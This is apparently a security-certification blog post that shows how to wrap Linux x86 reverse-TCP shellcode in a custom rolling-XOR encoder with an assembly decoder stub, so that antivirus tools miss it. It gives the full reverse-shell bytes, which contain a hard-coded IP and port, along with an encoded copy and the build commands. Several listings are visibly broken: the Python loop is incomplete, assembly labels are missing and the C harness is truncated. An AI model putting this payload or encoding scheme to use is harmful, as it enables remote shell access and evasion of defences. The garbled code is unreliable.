SLAE: Writing XOR Shellcode Encoder/Decoder


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-924

The task is to:

  • Create a custom encoding scheme like the “Insertion Encoder”
  • PoC with using execve-stack as the shellcode to encode with your schema and execute

Rolling XOR encoder

Cause most of the known encoders can be easily detected by the AVs, it is very useful to be able to create your own custom encoder. Let’s create XOR encoder. As original shellcode we will use reverse_tcp shellcode from the previous assessments.

For a key we will use random value from 0 to 255. This key will be placed as a first byte of the encoded_shellcode. Then the XOR operation between first byte of the original_shellcode and encoded_shellcode (first byte is random_key) is performed. The result will be written to the second byte of the encoded_shellcode. Then second byte of the original_shellcode will be XORed with second byte of the encoded_shellcode and result will be written to the third byte of the encoded_shellcode and so on.

import random

original_shellcode = ("\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80")

random_key = random.randint(0,255)

encoded_shellcode = []

for i in range(0, len(original_shellcode)):
    encoded_symbol = ord(original_shellcode[i]) ^ encoded_shellcode[i]
    result_shellcode = (",".join("0x%02x" %c for c in encoded_shellcode))
if "0x00" in result_shellcode:
    print "Shellcode contains null bytes! Choose another port"
    print "Shellcode: " + result_shellcode
    print "Key: " + str(random_key)

As a result we get encoded shellcode:

Sample image

That’s it:


Now we should write shellcode which will decode it and execute.


We will use JMP-CALL-POP technique to get an address of our shellcode. After that we will save pointer to it in edi register and zero out ecx and edx registers. ecx register will store length of the shellcode for the loop.

First byte of the shellcode now moves to al, second byte moves to bl. Result of XORing them will be stored in al and then will be moved to the place where edi points. After that esi and edi registers will be incremented and the loop will be executed again, until ecx register will be equal to zero. After that we will add NOP to replace the last symbol and then we will jump to our decoded shellcode.

global _start

section .text
    jmp short call_decoder

        pop esi                  ;now stores our shellcode
        mov edi, esi             ;save pointer to shellcode to edi
        xor ecx, ecx             ;zero out ecx
        mov edx, ecx             ;zero out edx
        mov cl, len              ;mov length of the shellcode in cl

        mov al, [esi]            ;move first byte of shellcode in eax
        mov bl, [esi + 1]        ;move second byte of shellcode in ebx
        xor al, bl               ;xor first and second byte of the shellcode
        mov [edi], al            ;replace first byte of edi with the result
        inc esi                  ;increment esi
        inc edi                  ;increment edi
        loop decoder_loop        ;loop until cl will equal to zero
        mov byte[esi-1], 0x90    ;replace last symbol with NOP
        jmp shellcode

        call decode
        shellcode: db 0x2c,0x46,0x20,0x78,0x49,0x9b,0xaa,0x71,0x32,0x60,0x33,0x59,0x5b,0xd2,0x33,0xfe,0x7e,0xec,0x86,0xe0,0xb8,0xd0,0x8b,0x05,0x5b,0x1d,0x7b,0x13,0x02,0x5e,0x1d,0x7b,0x28,0xa1,0x40,0x2a,0x3a,0x6b,0x39,0xb0,0x51,0x12,0xdf,0x5f,0xd8,0x02,0xb2,0x8d,0xbc,0x75,0xb8,0x38,0x88,0xb7,0xf6,0x3b,0xbb,0x0b,0x34,0x75,0xb8,0x38,0x88,0x83,0xb2,0x60,0x51,0x98,0xca,0xa2,0x8d,0xa2,0xd1,0xb9,0xd1,0xfe,0x9c,0xf5,0x9b,0x12,0xf1,0xa3,0x2a,0xc8,0x9b,0x12,0xf3,0x3e,0xbe
        len equ $-shellcode

Let’s compile it!

nasm -f elf32 -o shellcode.o shellcode.nasm

ld -o shellcode shellcode.o

objdump -d shellcode -M intel

Let’s extract the opcodes:

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Here it is:


There is no any null bytes, that’s fine.

We will use shellcode.c template:


unsigned char code[] = \


	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



Let’s compile it and RUN!

gcc shellcode.c -z execstack

And it works:

Sample image